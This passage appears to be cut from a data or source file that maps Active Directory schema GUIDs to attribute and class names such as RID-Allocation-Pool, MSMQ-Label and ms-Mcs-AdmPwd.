"66d51249-3355-4c1f-b24e-81f252aca23b": "Dynamic-Object", + "1cb3559c-56d0-11d1-a9c6-0000f80367c1": "ACS-Max-No-Of-Log-Files", + "f30e3bc1-9ff0-11d1-b603-0000f80367c1": "GPC-File-Sys-Path", + "16378906-4ea5-49be-a8d1-bfd41dff4f65": "ms-DS-Quota-Trustee", + "9a0dc324-c100-11d1-bbc5-0080c76670c0": "MSMQ-Journal-Quota", + "66171889-8f3c-11d0-afda-00c04fd930c9": "RID-Allocation-Pool", + "11e24318-4ca6-4f49-9afe-e5eb1afa3473": "ms-DFSR-Options2", + "88611bdf-8cf4-11d0-afda-00c04fd930c9": "rpc-Group", + "7f561284-5301-11d1-a9c5-0000f80367c1": "ACS-Max-Peak-Bandwidth", + "f30e3bc0-9ff0-11d1-b603-0000f80367c1": "GPC-Functionality-Version", + "b5a84308-615d-4bb7-b05f-2f1746aa439f": "ms-DS-Quota-Used", + "9a0dc325-c100-11d1-bbc5-0080c76670c0": "MSMQ-Label", + "66171888-8f3c-11d0-afda-00c04fd930c9": "RID-Available-Pool", + "936eac41-d257-4bb9-bd55-f310a3cf09ad": "ms-DFSR-CommonStagingPath", + "dd712229-10e4-11d0-a05f-00aa006c33ed": "File-Link-Tracking", + "7f56127c-5301-11d1-a9c5-0000f80367c1": "ACS-Max-Peak-Bandwidth-Per-Flow", + "32ff8ecc-783f-11d2-9916-0000f87a57d4": "GPC-Machine-Extension-Names", + "8a167ce4-f9e8-47eb-8d78-f7fe80abb2cc": "ms-DS-NC-Repl-Cursors", + "4580ad25-d407-48d2-ad24-43e6e56793d7": "MSMQ-Label-Ex", + "66171886-8f3c-11d0-afda-00c04fd930c9": "RID-Manager-Reference", + "135eb00e-4846-458b-8ea2-a37559afd405": "ms-DFSR-CommonStagingSizeInMb", + "88611be1-8cf4-11d0-afda-00c04fd930c9": "rpc-Profile", + "f0722311-aef5-11d1-bdcf-0000f80367c1": "ACS-Max-Size-Of-RSVP-Account-File", + "42a75fc6-783f-11d2-9916-0000f87a57d4": "GPC-User-Extension-Names", + "9edba85a-3e9e-431b-9b1a-a5b6e9eda796": "ms-DS-NC-Repl-Inbound-Neighbors", + "9a0dc335-c100-11d1-bbc5-0080c76670c0": "MSMQ-Long-Lived", + "6617188c-8f3c-11d0-afda-00c04fd930c9": "RID-Next-RID", + "d64b9c23-e1fa-467b-b317-6964d744d633": "ms-DFSR-StagingCleanupTriggerInPercent", + "8e4eb2ed-4712-11d0-a1a0-00c04fd930c9": "File-Link-Tracking-Entry", + "1cb3559d-56d0-11d1-a9c6-0000f80367c1": "ACS-Max-Size-Of-RSVP-Log-File", + "7bd4c7a6-1add-4436-8c04-3999a880154c": "GPC-WQL-Filter", + "855f2ef5-a1c5-4cc4-ba6d-32522848b61f": "ms-DS-NC-Repl-Outbound-Neighbors", + "9a0dc33f-c100-11d1-bbc5-0080c76670c0": "MSMQ-Migrated", + "6617188a-8f3c-11d0-afda-00c04fd930c9": "RID-Previous-Allocation-Pool", + "b786cec9-61fd-4523-b2c1-5ceb3860bb32": "ms-DFS-Comment-v2", + "f29653cf-7ad0-11d0-afd6-00c04fd930c9": "rpc-Profile-Element", + "81f6e0df-3b90-11d2-90cc-00c04fd91ab1": "ACS-Max-Token-Bucket-Per-Flow", + "bf96797e-0de6-11d0-a285-00aa003049e2": "Group-Attributes", + "97de9615-b537-46bc-ac0f-10720f3909f3": "ms-DS-NC-Replica-Locations", + "1d2f4412-f10d-4337-9b48-6e5b125cd265": "MSMQ-Multicast-Address", + "7bfdcb7b-4807-11d1-a9c3-0000f80367c1": "RID-Set-References", + "35b8b3d9-c58f-43d6-930e-5040f2f1a781": "ms-DFS-Generation-GUID-v2", + "89e31c12-8530-11d0-afda-00c04fd930c9": "Foreign-Security-Principal", + "7f56127b-5301-11d1-a9c5-0000f80367c1": "ACS-Max-Token-Rate-Per-Flow", + "bf967980-0de6-11d0-a285-00aa003049e2": "Group-Membership-SAM", + "3df793df-9858-4417-a701-735a1ecebf74": "ms-DS-NC-RO-Replica-Locations", + "9a0dc333-c100-11d1-bbc5-0080c76670c0": "MSMQ-Name-Style", + "6617188b-8f3c-11d0-afda-00c04fd930c9": "RID-Used-Pool", + "3c095e8a-314e-465b-83f5-ab8277bcf29b": "ms-DFS-Last-Modified-v2", + "88611be0-8cf4-11d0-afda-00c04fd930c9": "rpc-Server", + "87a2d8f9-3b90-11d2-90cc-00c04fd91ab1": "ACS-Maximum-SDU-Size", + "eea65905-8ac6-11d0-afda-00c04fd930c9": "Group-Priority", + "f547511c-5b2a-44cc-8358-992a88258164": "ms-DS-NC-RO-Replica-Locations-BL", + "eb38a158-d57f-11d1-90a2-00c04fd91ab1": "MSMQ-Nt4-Flags", + "8297931c-86d3-11d0-afda-00c04fd930c9": "Rights-Guid", + "edb027f3-5726-4dee-8d4e-dbf07e1ad1f1": "ms-DFS-Link-Identity-GUID-v2", + "c498f152-dc6b-474a-9f52-7cdba3d7d351": "friendlyCountry", + "9c65329b-3b90-11d2-90cc-00c04fd91ab1": "ACS-Minimum-Delay-Variation", + "9a9a021e-4a5b-11d1-a9c3-0000f80367c1": "Group-Type", + "2de144fc-1f52-486f-bdf4-16fcc3084e54": "ms-DS-Non-Security-Group-Extra-Classes", + "6f914be6-d57e-11d1-90a2-00c04fd91ab1": "MSMQ-Nt4-Stub", + "a8df7465-c5ea-11d1-bbcb-0080c76670c0": "Role-Occupant", + "86b021f6-10ab-40a2-a252-1dc0cc3be6a9": "ms-DFS-Link-Path-v2", + "f29653d0-7ad0-11d0-afd6-00c04fd930c9": "rpc-Server-Element", + "9517fefb-3b90-11d2-90cc-00c04fd91ab1": "ACS-Minimum-Latency", + "eea65904-8ac6-11d0-afda-00c04fd930c9": "Groups-to-Ignore", + "d161adf0-ca24-4993-a3aa-8b2c981302e8": "MS-DS-Per-User-Trust-Quota", + "9a0dc330-c100-11d1-bbc5-0080c76670c0": "MSMQ-OS-Type", + "81d7f8c2-e327-4a0d-91c6-b42d4009115f": "roomNumber", + "57cf87f7-3426-4841-b322-02b3b6e9eba8": "ms-DFS-Link-Security-Descriptor-v2", + "8447f9f3-1027-11d0-a05f-00aa006c33ed": "FT-Dfs", + "8d0e7195-3b90-11d2-90cc-00c04fd91ab1": "ACS-Minimum-Policed-Size", + "bf967982-0de6-11d0-a285-00aa003049e2": "Has-Master-NCs", + "8b70a6c6-50f9-4fa3-a71e-1ce03040449b": "MS-DS-Per-User-Trust-Tombstones-Quota", + "9a0dc32b-c100-11d1-bbc5-0080c76670c0": "MSMQ-Out-Routing-Servers", + "7bfdcb80-4807-11d1-a9c3-0000f80367c1": "Root-Trust", + "200432ce-ec5f-4931-a525-d7f4afe34e68": "ms-DFS-Namespace-Identity-GUID-v2", + "2a39c5be-8960-11d1-aebc-0000f80367c1": "RRAS-Administration-Connection-Point", + "aec2cfe3-3b90-11d2-90cc-00c04fd91ab1": "ACS-Non-Reserved-Max-SDU-Size", + "bf967981-0de6-11d0-a285-00aa003049e2": "Has-Partial-Replica-NCs", + "d921b50a-0ab2-42cd-87f6-09cf83a91854": "ms-DS-Preferred-GC-Site", + "9a0dc328-c100-11d1-bbc5-0080c76670c0": "MSMQ-Owner-ID", + "88611bde-8cf4-11d0-afda-00c04fd930c9": "rpc-Ns-Annotation", + "0c3e5bc5-eb0e-40f5-9b53-334e958dffdb": "ms-DFS-Properties-v2", + "bf967a9c-0de6-11d0-a285-00aa003049e2": "Group", + "b6873917-3b90-11d2-90cc-00c04fd91ab1": "ACS-Non-Reserved-Min-Policed-Size", + "5fd424a7-1262-11d0-a060-00aa006c33ed": "Help-Data16", + "d7c53242-724e-4c39-9d4c-2df8c9d66c7a": "ms-DS-Repl-Attribute-Meta-Data", + "2df90d75-009f-11d2-aa4c-00c04fd7d83a": "MSMQ-Prev-Site-Gates", + "bf967a23-0de6-11d0-a285-00aa003049e2": "rpc-Ns-Bindings", + "ec6d7855-704a-4f61-9aa6-c49a7c1d54c7": "ms-DFS-Schema-Major-Version", + "f39b98ae-938d-11d1-aebd-0000f80367c1": "RRAS-Administration-Dictionary", + "a331a73f-3b90-11d2-90cc-00c04fd91ab1": "ACS-Non-Reserved-Peak-Rate", + "5fd424a8-1262-11d0-a060-00aa006c33ed": "Help-Data32", + "2f5c8145-e1bd-410b-8957-8bfa81d5acfd": "ms-DS-Repl-Value-Meta-Data", + "9a0dc327-c100-11d1-bbc5-0080c76670c0": "MSMQ-Privacy-Level", + "7a0ba0e0-8e98-11d0-afda-00c04fd930c9": "rpc-Ns-Codeset", + "fef9a725-e8f1-43ab-bd86-6a0115ce9e38": "ms-DFS-Schema-Minor-Version", + "bf967a9d-0de6-11d0-a285-00aa003049e2": "Group-Of-Names", + "a916d7c9-3b90-11d2-90cc-00c04fd91ab1": "ACS-Non-Reserved-Token-Size", + "5fd424a9-1262-11d0-a060-00aa006c33ed": "Help-File-Name", + "0ea12b84-08b3-11d3-91bc-0000f87a57d4": "MS-DS-Replicates-NC-Reason", + "9a0dc33e-c100-11d1-bbc5-0080c76670c0": "MSMQ-QM-ID", + "80212841-4bdc-11d1-a9c4-0000f80367c1": "rpc-Ns-Entry-Flags", + "2d7826f0-4cf7-42e9-a039-1110e0d9ca99": "ms-DFS-Short-Name-Link-Path-v2", + "bf967a91-0de6-11d0-a285-00aa003049e2": "Sam-Domain-Base", + "1cb355a2-56d0-11d1-a9c6-0000f80367c1": "ACS-Non-Reserved-Tx-Limit", + "ec05b750-a977-4efe-8e8d-ba6c1a6e33a8": "Hide-From-AB", + "85abd4f4-0a89-4e49-bdec-6f35bb2562ba": "ms-DS-Replication-Notify-First-DSA-Delay", + "8e441266-d57f-11d1-90a2-00c04fd91ab1": "MSMQ-Queue-Journal-Quota", + "bf967a24-0de6-11d0-a285-00aa003049e2": "rpc-Ns-Group", + "6ab126c6-fa41-4b36-809e-7ca91610d48f": "ms-DFS-Target-List-v2", + "0310a911-93a3-4e21-a7a3-55d85ab2c48b": "groupOfUniqueNames", + "fe7afe45-3d14-43a7-afa7-3a1b144642af": "ms-Mcs-AdmPwdExpirationTime", + "f072230d-aef5-11d1-bdcf-0000f80367c1": "ACS-Non-Reserved-Tx-Size", + "bf967985-0de6-11d0-a285-00aa003049e2": "Home-Directory", + "d63db385-dd92-4b52-b1d8-0d3ecc0e86b6": "ms-DS-Replication-Notify-Subsequent-DSA-Delay", + "2df90d87-009f-11d2-aa4c-00c04fd7d83a": "MSMQ-Queue-Name-Ext", + "bf967a25-0de6-11d0-a285-00aa003049e2": "rpc-Ns-Interface-ID", + "ea944d31-864a-4349-ada5-062e2c614f5e": "ms-DFS-Ttl-v2", + "bf967aad-0de6-11d0-a285-00aa003049e2": "Sam-Server", + "4c9928d7-d725-4fa6-a109-aba3ad8790e5": "ms-Mcs-AdmPwd", + "7f561282-5301-11d1-a9c5-0000f80367c1": "ACS-Permission-Bits", + "bf967986-0de6-11d0-a285-00aa003049e2": "Home-Drive", + "08e3aa79-eb1c-45b5-af7b-8f94246c8e41": "ms-DS-ReplicationEpoch", + "3f6b8e12-d57f-11d1-90a2-00c04fd91ab1": "MSMQ-Queue-Quota", + "29401c48-7a27-11d0-afd6-00c04fd930c9": "rpc-Ns-Object-ID", + "3ced1465-7b71-2541-8780-1e1ea6243a82": "ms-DS-BridgeHead-Servers-Used", + "f30e3bc2-9ff0-11d1-b603-0000f80367c1": "Group-Policy-Container", + "1cb3559a-56d0-11d1-a9c6-0000f80367c1": "ACS-Policy-Name", + "a45398b7-c44a-4eb6-82d3-13c10946dbfe": "houseIdentifier", + "d5b35506-19d6-4d26-9afb-11357ac99b5e": "ms-DS-Retired-Repl-NC-Signatures", + "9a0dc320-c100-11d1-bbc5-0080c76670c0": "MSMQ-Queue-Type", + "bf967a27-0de6-11d0-a285-00aa003049e2": "rpc-Ns-Priority", + "51c9f89d-4730-468d-a2b5-1d493212d17e": "ms-DS-Is-Used-As-Resource-Security-Attribute", + "bf967aae-0de6-11d0-a285-00aa003049e2": "Secret", + "7f561281-5301-11d1-a9c5-0000f80367c1": "ACS-Priority", + "6043df71-fa48-46cf-ab7c-cbd54644b22d": "host", + "b39a61be-ed07-4cab-9a4a-4963ed0141e1": "ms-ds-Schema-Extensions", + "9a0dc322-c100-11d1-bbc5-0080c76670c0": "MSMQ-Quota", + "bf967a28-0de6-11d0-a285-00aa003049e2": "rpc-Ns-Profile-Entry", + "2e28edee-ed7c-453f-afe4-93bd86f2174f": "ms-DS-Claim-Possible-Values", + "7bfdcb8a-4807-11d1-a9c3-0000f80367c1": "Index-Server-Catalog", + "f072230f-aef5-11d1-bdcf-0000f80367c1": "ACS-RSVP-Account-Files-Location", + "f0f8ff83-1191-11d0-a060-00aa006c33ed": "Icon-Path", + "4c51e316-f628-43a5-b06b-ffb695fcb4f3": "ms-DS-SD-Reference-Domain", + "3bfe6748-b544-485a-b067-1b310c4334bf": "MSMQ-Recipient-FormatName", + "29401c4a-7a27-11d0-afd6-00c04fd930c9": "rpc-Ns-Transfer-Syntax", + "c66217b9-e48e-47f7-b7d5-6552b8afd619": "ms-DS-Claim-Value-Type", + "4828cc14-1437-45bc-9b07-ad6f015e5f28": "inetOrgPerson", + "bf967aaf-0de6-11d0-a285-00aa003049e2": "Security-Object", + "1cb3559b-56d0-11d1-a9c6-0000f80367c1": "ACS-RSVP-Log-Files-Location", + "7d6c0e92-7e20-11d0-afd6-00c04fd930c9": "Implemented-Categories", + "4f146ae8-a4fe-4801-a731-f51848a4f4e4": "ms-DS-Security-Group-Extra-Classes", + "2df90d81-009f-11d2-aa4c-00c04fd7d83a": "MSMQ-Routing-Service", + "3e0abfd0-126a-11d0-a060-00aa006c33ed": "SAM-Account-Name", + "eebc123e-bae6-4166-9e5b-29884a8b76b0": "ms-DS-Claim-Attribute-Source", + "7f56127f-5301-11d1-a9c5-0000f80367c1": "ACS-Service-Type", + "7bfdcb87-4807-11d1-a9c3-0000f80367c1": "IndexedScopes", + "0e1b47d7-40a3-4b48-8d1b-4cac0c1cdf21": "ms-DS-Settings", + "2df90d77-009f-11d2-aa4c-00c04fd7d83a": "MSMQ-Routing-Services", + "6e7b626c-64f2-11d0-afd2-00c04fd930c9": "SAM-Account-Type", + "6afb0e4c-d876-437c-aeb6-c3e41454c272": "ms-DS-Claim-Type-Applies-To-Class", + "2df90d89-009f-11d2-aa4c-00c04fd7d83a": "Infrastructure-Update", + "bf967a92-0de6-11d0-a285-00aa003049e2": "Server", + "7f561279-5301-11d1-a9c5-0000f80367c1": "ACS-Time-Of-Day", + "52458023-ca6a-11d0-afff-0000f80367c1": "Initial-Auth-Incoming", + "c17c5602-bcb7-46f0-9656-6370ca884b72": "ms-DS-Site-Affinity", + "8bf0221b-7a06-4d63-91f0-1499941813d3": "MSMQ-Secured-Source", + "04d2d114-f799-4e9b-bcdc-90e8f5ba7ebe": "SAM-Domain-Updates", + "52c8d13a-ce0b-4f57-892b-18f5a43a2400": "ms-DS-Claim-Shares-Possible-Values-With", + "7f561280-5301-11d1-a9c5-0000f80367c1": "ACS-Total-No-Of-Flows", + "52458024-ca6a-11d0-afff-0000f80367c1": "Initial-Auth-Outgoing", + "789ee1eb-8c8e-4e4c-8cec-79b31b7617b5": "ms-DS-SPN-Suffixes", + "9a0dc32d-c100-11d1-bbc5-0080c76670c0": "MSMQ-Service-Type", + "dd712224-10e4-11d0-a05f-00aa006c33ed": "Schedule", + "54d522db-ec95-48f5-9bbd-1880ebbb2180": "ms-DS-Claim-Shares-Possible-Values-With-BL", + "07383086-91df-11d1-aebc-0000f80367c1": "Intellimirror-Group", + "f780acc0-56f0-11d1-a9c6-0000f80367c1": "Servers-Container", + "7cbd59a5-3b90-11d2-90cc-00c04fd91ab1": "ACS-Server-List", + "f0f8ff90-1191-11d0-a060-00aa006c33ed": "Initials", + "35319082-8c4a-4646-9386-c2949d49894d": "ms-DS-Tasks-For-Az-Role", + "9a0dc33d-c100-11d1-bbc5-0080c76670c0": "MSMQ-Services", + "bf967a2b-0de6-11d0-a285-00aa003049e2": "Schema-Flags-Ex", + "4d371c11-4cad-4c41-8ad2-b180ab2bd13c": "ms-DS-Members-Of-Resource-Property-List", + "6d05fb41-246b-11d0-a9c8-00aa006c33ed": "Additional-Information", + "96a7dd64-9118-11d1-aebc-0000f80367c1": "Install-Ui-Level", + "a0dcd536-5158-42fe-8c40-c00a7ad37959": "ms-DS-Tasks-For-Az-Role-BL", + "9a0dc33b-c100-11d1-bbc5-0080c76670c0": "MSMQ-Sign-Certificates", + "bf967923-0de6-11d0-a285-00aa003049e2": "Schema-ID-GUID", + "7469b704-edb0-4568-a5a5-59f4862c75a7": "ms-DS-Members-Of-Resource-Property-List-BL", + "07383085-91df-11d1-aebc-0000f80367c1": "Intellimirror-SCP", + "b7b13123-b82e-11d0-afee-0000f80367c1": "Service-Administration-Point", + "032160be-9824-11d1-aec0-0000f80367c1": "Additional-Trusted-Service-Names", + "bf96798c-0de6-11d0-a285-00aa003049e2": "Instance-Type", + "b11c8ee2-5fcd-46a7-95f0-f38333f096cf": "ms-DS-Tasks-For-Az-Task", + "3881b8ea-da3b-11d1-90a5-00c04fd91ab1": "MSMQ-Sign-Certificates-Mig", + "f9fb64ae-93b4-11d2-9945-0000f87a57d4": "Schema-Info", + "b47f510d-6b50-47e1-b556-772c79e4ffc4": "ms-SPP-CSVLK-Pid", + "f0f8ff84-1191-11d0-a060-00aa006c33ed": "Address", + "b7c69e60-2cc7-11d2-854e-00a0c983f608": "Inter-Site-Topology-Failover", + "df446e52-b5fa-4ca2-a42f-13f98a526c8f": "ms-DS-Tasks-For-Az-Task-BL", + "9a0dc332-c100-11d1-bbc5-0080c76670c0": "MSMQ-Sign-Key", + "1e2d06b4-ac8f-11d0-afe3-00c04fd930c9": "Schema-Update", + "a601b091-8652-453a-b386-87ad239b7c08": "ms-SPP-CSVLK-Partial-Product-Key", + "26d97376-6070-11d1-a9c6-0000f80367c1": "Inter-Site-Transport", + "bf967ab1-0de6-11d0-a285-00aa003049e2": "Service-Class", + "f70b6e48-06f4-11d2-aa53-00c04fd7d83a": "Address-Book-Roots", + "b7c69e5e-2cc7-11d2-854e-00a0c983f608": "Inter-Site-Topology-Generator", + "2cc4b836-b63f-4940-8d23-ea7acf06af56": "ms-DS-User-Account-Control-Computed", + "9a0dc337-c100-11d1-bbc5-0080c76670c0": "MSMQ-Site-1", + "bf967a2c-0de6-11d0-a285-00aa003049e2": "Schema-Version", + "9684f739-7b78-476d-8d74-31ad7692eef4": "ms-SPP-CSVLK-Sku-Id", + "5fd42461-1262-11d0-a060-00aa006c33ed": "Address-Entry-Display-Table", + "b7c69e5f-2cc7-11d2-854e-00a0c983f608": "Inter-Site-Topology-Renew", + "add5cf10-7b09-4449-9ae6-2534148f8a72": "ms-DS-User-Password-Expiry-Time-Computed", + "9a0dc338-c100-11d1-bbc5-0080c76670c0": "MSMQ-Site-2", + "16f3a4c2-7e79-11d2-9921-0000f87a57d4": "Scope-Flags", + "9b663eda-3542-46d6-9df0-314025af2bac": "ms-SPP-KMS-Ids", + "26d97375-6070-11d1-a9c6-0000f80367c1": "Inter-Site-Transport-Container", + "28630ec1-41d5-11d1-a9c1-0000f80367c1": "Service-Connection-Point", + "5fd42462-1262-11d0-a060-00aa006c33ed": "Address-Entry-Display-Table-MSDOS", + "bf96798d-0de6-11d0-a285-00aa003049e2": "International-ISDN-Number", + "146eb639-bb9f-4fc1-a825-e29e00c77920": "ms-DS-UpdateScript", + "fd129d8a-d57e-11d1-90a2-00c04fd91ab1": "MSMQ-Site-Foreign", + "bf9679a8-0de6-11d0-a285-00aa003049e2": "Script-Path", + "69bfb114-407b-4739-a213-c663802b3e37": "ms-SPP-Installation-Id", + "16775781-47f3-11d1-a9c3-0000f80367c1": "Address-Home", + "bf96798e-0de6-11d0-a285-00aa003049e2": "Invocation-Id", + "773e93af-d3b4-48d4-b3f9-06457602d3d0": "ms-DS-Source-Object-DN", + "9a0dc339-c100-11d1-bbc5-0080c76670c0": "MSMQ-Site-Gates", + "c3dbafa6-33df-11d2-98b2-0000f87a57d4": "SD-Rights-Effective", + "6e8797c4-acda-4a49-8740-b0bd05a9b831": "ms-SPP-Confirmation-Id", + "b40ff825-427a-11d1-a9c2-0000f80367c1": "Ipsec-Base", + "bf967ab2-0de6-11d0-a285-00aa003049e2": "Service-Instance", + "5fd42463-1262-11d0-a060-00aa006c33ed": "Address-Syntax", + "b40ff81f-427a-11d1-a9c2-0000f80367c1": "Ipsec-Data", + "778ff5c9-6f4e-4b74-856a-d68383313910": "ms-DS-KrbTgt-Link", + "e2704852-3b7b-11d2-90cc-00c04fd91ab1": "MSMQ-Site-Gates-Mig", + "bf967a2d-0de6-11d0-a285-00aa003049e2": "Search-Flags", + "098f368e-4812-48cd-afb7-a136b96807ed": "ms-SPP-Online-License", + "5fd42464-1262-11d0-a060-00aa006c33ed": "Address-Type", + "b40ff81e-427a-11d1-a9c2-0000f80367c1": "Ipsec-Data-Type", + "185c7821-3749-443a-bd6a-288899071adb": "ms-DS-Revealed-Users", + "9a0dc340-c100-11d1-bbc5-0080c76670c0": "MSMQ-Site-ID", + "bf967a2e-0de6-11d0-a285-00aa003049e2": "Search-Guide", + "67e4d912-f362-4052-8c79-42f45ba7b221": "ms-SPP-Phone-License", + "b40ff826-427a-11d1-a9c2-0000f80367c1": "Ipsec-Filter", + "5fe69b0b-e146-4f15-b0ab-c1e5d488e094": "simpleSecurityObject", + "553fd038-f32e-11d0-b0bc-00c04fd8dca6": "Admin-Context-Menu", + "b40ff823-427a-11d1-a9c2-0000f80367c1": "Ipsec-Filter-Reference", + "1d3c2d18-42d0-4868-99fe-0eca1e6fa9f3": "ms-DS-Has-Full-Replica-NCs", + "ffadb4b2-de39-11d1-90a5-00c04fd91ab1": "MSMQ-Site-Name", + "01072d9a-98ad-4a53-9744-e83e287278fb": "secretary", + "0353c4b5-d199-40b0-b3c5-deb32fd9ec06": "ms-SPP-Config-License", + "bf967918-0de6-11d0-a285-00aa003049e2": "Admin-Count", + "b40ff81d-427a-11d1-a9c2-0000f80367c1": "Ipsec-ID", + "15585999-fd49-4d66-b25d-eeb96aba8174": "ms-DS-Never-Reveal-Group", + "422144fa-c17f-4649-94d6-9731ed2784ed": "MSMQ-Site-Name-Ex", + "bf967a2f-0de6-11d0-a285-00aa003049e2": "Security-Identifier", + "1075b3a1-bbaf-49d2-ae8d-c4f25c823303": "ms-SPP-Issuance-License", + "b40ff828-427a-11d1-a9c2-0000f80367c1": "Ipsec-ISAKMP-Policy", + "bf967ab3-0de6-11d0-a285-00aa003049e2": "Site", + "bf967919-0de6-11d0-a285-00aa003049e2": "Admin-Description", + "b40ff820-427a-11d1-a9c2-0000f80367c1": "Ipsec-ISAKMP-Reference", + "303d9f4a-1dd6-4b38-8fc5-33afe8c988ad": "ms-DS-Reveal-OnDemand-Group", + "9a0dc32a-c100-11d1-bbc5-0080c76670c0": "MSMQ-Sites", + "bf967a31-0de6-11d0-a285-00aa003049e2": "See-Also", + "19d706eb-4d76-44a2-85d6-1c342be3be37": "ms-TPM-Srk-Pub-Thumbprint", + "bf96791a-0de6-11d0-a285-00aa003049e2": "Admin-Display-Name", + "b40ff81c-427a-11d1-a9c2-0000f80367c1": "Ipsec-Name", + "aa156612-2396-467e-ad6a-28d23fdb1865": "ms-DS-Secondary-KrbTgt-Number", + "9a0dc329-c100-11d1-bbc5-0080c76670c0": "MSMQ-Transactional", + "ddac0cf2-af8f-11d0-afeb-00c04fd930c9": "Seq-Notification", + "c894809d-b513-4ff8-8811-f4f43f5ac7bc": "ms-TPM-Owner-Information-Temp", + "b40ff827-427a-11d1-a9c2-0000f80367c1": "Ipsec-Negotiation-Policy", + "d50c2cde-8951-11d1-aebc-0000f80367c1": "Site-Link", + "18f9b67d-5ac6-4b3b-97db-d0a406afb7ba": "Admin-Multiselect-Property-Pages", + "07383075-91df-11d1-aebc-0000f80367c1": "IPSEC-Negotiation-Policy-Action", + "94f6f2ac-c76d-4b5e-b71f-f332c3e93c22": "ms-DS-Revealed-DSAs", + "c58aae32-56f9-11d2-90d0-00c04fd91ab1": "MSMQ-User-Sid", + "bf967a32-0de6-11d0-a285-00aa003049e2": "Serial-Number", + "ea1b7b93-5e48-46d5-bc6c-4df4fda78a35": "ms-TPM-Tpm-Information-For-Computer", + "52458038-ca6a-11d0-afff-0000f80367c1": "Admin-Property-Pages", + "b40ff822-427a-11d1-a9c2-0000f80367c1": "Ipsec-Negotiation-Policy-Reference", + "5dd68c41-bfdf-438b-9b5d-39d9618bf260": "ms-DS-KrbTgt-Link-BL", + "9a0dc336-c100-11d1-bbc5-0080c76670c0": "MSMQ-Version", + "09dcb7a0-165f-11d0-a064-00aa006c33ed": "Server-Name", + "14fa84c9-8ecd-4348-bc91-6d3ced472ab7": "ms-TPM-Tpm-Information-For-Computer-BL", + "b40ff829-427a-11d1-a9c2-0000f80367c1": "Ipsec-NFA", + "d50c2cdf-8951-11d1-aebc-0000f80367c1": "Site-Link-Bridge", + "9a7ad940-ca53-11d1-bbd0-0080c76670c0": "Allowed-Attributes", + "07383074-91df-11d1-aebc-0000f80367c1": "IPSEC-Negotiation-Policy-Type", + "c8bc72e0-a6b4-48f0-94a5-fd76a88c9987": "ms-DS-Is-Full-Replica-For", + "db0c9085-c1f2-11d1-bbc5-0080c76670c0": "msNPAllowDialin", + "26d9736d-6070-11d1-a9c6-0000f80367c1": "Server-Reference", + "0be0dd3b-041a-418c-ace9-2f17d23e9d42": "ms-DNS-Keymaster-Zones", + "9a7ad941-ca53-11d1-bbd0-0080c76670c0": "Allowed-Attributes-Effective", + "b40ff821-427a-11d1-a9c2-0000f80367c1": "Ipsec-NFA-Reference", + "ff155a2a-44e5-4de0-8318-13a58988de4f": "ms-DS-Is-Domain-For", + "db0c9089-c1f2-11d1-bbc5-0080c76670c0": "msNPCalledStationID", + "26d9736e-6070-11d1-a9c6-0000f80367c1": "Server-Reference-BL", + "aa12854c-d8fc-4d5e-91ca-368b8d829bee": "ms-DNS-Is-Signed", + "b7b13121-b82e-11d0-afee-0000f80367c1": "Ipsec-Policy", + "7a4117da-cd67-11d0-afff-0000f80367c1": "Sites-Container", + "9a7ad942-ca53-11d1-bbd0-0080c76670c0": "Allowed-Child-Classes", + "b40ff824-427a-11d1-a9c2-0000f80367c1": "Ipsec-Owners-Reference", + "37c94ff6-c6d4-498f-b2f9-c6f7f8647809": "ms-DS-Is-Partial-Replica-For", + "db0c908a-c1f2-11d1-bbc5-0080c76670c0": "msNPCallingStationID", + "bf967a33-0de6-11d0-a285-00aa003049e2": "Server-Role", + "c79f2199-6da1-46ff-923c-1f3f800c721e": "ms-DNS-Sign-With-NSEC3", + "9a7ad943-ca53-11d1-bbd0-0080c76670c0": "Allowed-Child-Classes-Effective", + "b7b13118-b82e-11d0-afee-0000f80367c1": "Ipsec-Policy-Reference", + "fe01245a-341f-4556-951f-48c033a89050": "ms-DS-Is-User-Cachable-At-Rodc", + "db0c908e-c1f2-11d1-bbc5-0080c76670c0": "msNPSavedCallingStationID", + "bf967a34-0de6-11d0-a285-00aa003049e2": "Server-State", + "7bea2088-8ce2-423c-b191-66ec506b1595": "ms-DNS-NSEC3-OptOut", + "bf967a9e-0de6-11d0-a285-00aa003049e2": "Leaf", + "bf967ab5-0de6-11d0-a285-00aa003049e2": "Storage", + "00fbf30c-91fe-11d1-aebc-0000f80367c1": "Alt-Security-Identities", + "00fbf30d-91fe-11d1-aebc-0000f80367c1": "Is-Critical-System-Object", + "cbdad11c-7fec-387b-6219-3a0627d9af81": "ms-DS-Revealed-List", + "db0c909c-c1f2-11d1-bbc5-0080c76670c0": "msRADIUSCallbackNumber", + "b7b1311c-b82e-11d0-afee-0000f80367c1": "Service-Binding-Information", + "0dc063c1-52d9-4456-9e15-9c2434aafd94": "ms-DNS-Maintain-Trust-Anchor", + "45b01500-c419-11d1-bbc9-0080c76670c0": "ANR", + "28630ebe-41d5-11d1-a9c1-0000f80367c1": "Is-Defunct", + "aa1c88fd-b0f6-429f-b2ca-9d902266e808": "ms-DS-Revealed-List-BL", + "db0c90a4-c1f2-11d1-bbc5-0080c76670c0": "msRADIUSFramedIPAddress", + "bf967a35-0de6-11d0-a285-00aa003049e2": "Service-Class-ID", + "5c5b7ad2-20fa-44bb-beb3-34b9c0f65579": "ms-DNS-DS-Record-Algorithms", + "1be8f17d-a9ff-11d0-afe2-00c04fd930c9": "Licensing-Site-Settings", + "b7b13124-b82e-11d0-afee-0000f80367c1": "Subnet", + "96a7dd65-9118-11d1-aebc-0000f80367c1": "App-Schema-Version", + "bf96798f-0de6-11d0-a285-00aa003049e2": "Is-Deleted", + "011929e6-8b5d-4258-b64a-00b0b4949747": "ms-DS-Last-Successful-Interactive-Logon-Time", + "db0c90a9-c1f2-11d1-bbc5-0080c76670c0": "msRADIUSFramedRoute", + "bf967a36-0de6-11d0-a285-00aa003049e2": "Service-Class-Info", + "27d93c40-065a-43c0-bdd8-cdf2c7d120aa": "ms-DNS-RFC5011-Key-Rollovers", + "dd712226-10e4-11d0-a05f-00aa006c33ed": "Application-Name", + "f4c453f0-c5f1-11d1-bbcb-0080c76670c0": "Is-Ephemeral", + "c7e7dafa-10c3-4b8b-9acd-54f11063742e": "ms-DS-Last-Failed-Interactive-Logon-Time", + "db0c90b6-c1f2-11d1-bbc5-0080c76670c0": "msRADIUSServiceType", + "b7b1311d-b82e-11d0-afee-0000f80367c1": "Service-Class-Name", + "ff9e5552-7db7-4138-8888-05ce320a0323": "ms-DNS-NSEC3-Hash-Algorithm", + "ddac0cf5-af8f-11d0-afeb-00c04fd930c9": "Link-Track-Object-Move-Table", + 